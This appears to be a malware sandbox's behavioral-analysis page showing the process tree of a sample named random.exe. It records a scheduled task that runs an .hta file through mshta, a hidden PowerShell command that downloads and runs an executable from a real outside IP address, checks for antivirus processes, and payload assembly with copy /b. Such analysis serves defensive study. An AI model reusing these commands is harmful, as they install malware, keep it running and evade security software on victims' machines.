| ZeroBOX

random.exe "C:\Users\test22\AppData\Local\Temp\random.exe"
2560
- cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn X0P6emaCZCT /tr "mshta C:\Users\test22\AppData\Local\Temp\kCFxj8yNd.hta" /sc minute /mo 25 /ru "test22" /f
  2624
  - schtasks.exe schtasks /create /tn X0P6emaCZCT /tr "mshta C:\Users\test22\AppData\Local\Temp\kCFxj8yNd.hta" /sc minute /mo 25 /ru "test22" /f
    2728
- mshta.exe mshta C:\Users\test22\AppData\Local\Temp\kCFxj8yNd.hta
  2668
  - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FWKB4V1VE0EHHTJIYXH8AQZL1M4480K2.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
    2828
    - TempFWKB4V1VE0EHHTJIYXH8AQZL1M4480K2.EXE "C:\Users\test22\AppData\Local\TempFWKB4V1VE0EHHTJIYXH8AQZL1M4480K2.EXE"
      3024
      - skotes.exe "C:\Users\test22\AppData\Local\Temp\abc3bc1985\skotes.exe"
        2192
        
        790548e77c.exe "C:\Users\test22\AppData\Local\Temp\1014060001\790548e77c.exe"
        2592
        
        790548e77c.exe "C:\Users\test22\AppData\Local\Temp\1014060001\790548e77c.exe"
        2760
        
        13Z5sqy.exe "C:\Users\test22\AppData\Local\Temp\1034761001\13Z5sqy.exe"
        2792
        
        jonbDes.exe "C:\Users\test22\AppData\Local\Temp\1039270001\jonbDes.exe"
        3004
        
        tYrnx75.exe "C:\Users\test22\AppData\Local\Temp\1051791001\tYrnx75.exe"
        3064
        
        cmd.exe "C:\Windows\System32\cmd.exe" /c copy Turner Turner.cmd & Turner.cmd
        2188
        
        findstr.exe findstr /I "opssvc wrsa"
        2204
        
        tasklist.exe tasklist
        2108
        
        tasklist.exe tasklist
        1064
        
        findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
        2644
        
        cmd.exe cmd /c md 764661
        740
        
        extrac32.exe extrac32 /Y /E Fm
        2804
        
        findstr.exe findstr /V "Tunnel" Addresses
        2984
        
        cmd.exe cmd /c copy /b 764661\Macromedia.com + Totally + York + Drunk + Baghdad + Benz + Glasses + Pac + Tender + Racing + Deluxe + Derived 764661\Macromedia.com
        3036
        
        cmd.exe cmd /c copy /b ..\Complement + ..\Soundtrack + ..\Plumbing + ..\Hills F
        1484
        
        Macromedia.com Macromedia.com F
        1728
        
        choice.exe choice /d y /t 15
        828
        
        up7d8Ym.exe "C:\Users\test22\AppData\Local\Temp\1065345001\up7d8Ym.exe"
        2084
        
        up7d8Ym.exe "C:\Users\test22\AppData\Local\Temp\1065345001\up7d8Ym.exe"
        2696
        
        012Bdpb.exe "C:\Users\test22\AppData\Local\Temp\1065531001\012Bdpb.exe"
        2744
        
        7fOMOTQ.exe "C:\Users\test22\AppData\Local\Temp\1068334001\7fOMOTQ.exe"
        2056
        
        Bjkm5hE.exe "C:\Users\test22\AppData\Local\Temp\1071208001\Bjkm5hE.exe"
        3028
explorer.exe C:\Windows\Explorer.EXE
1452

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis

Process tree

Process contents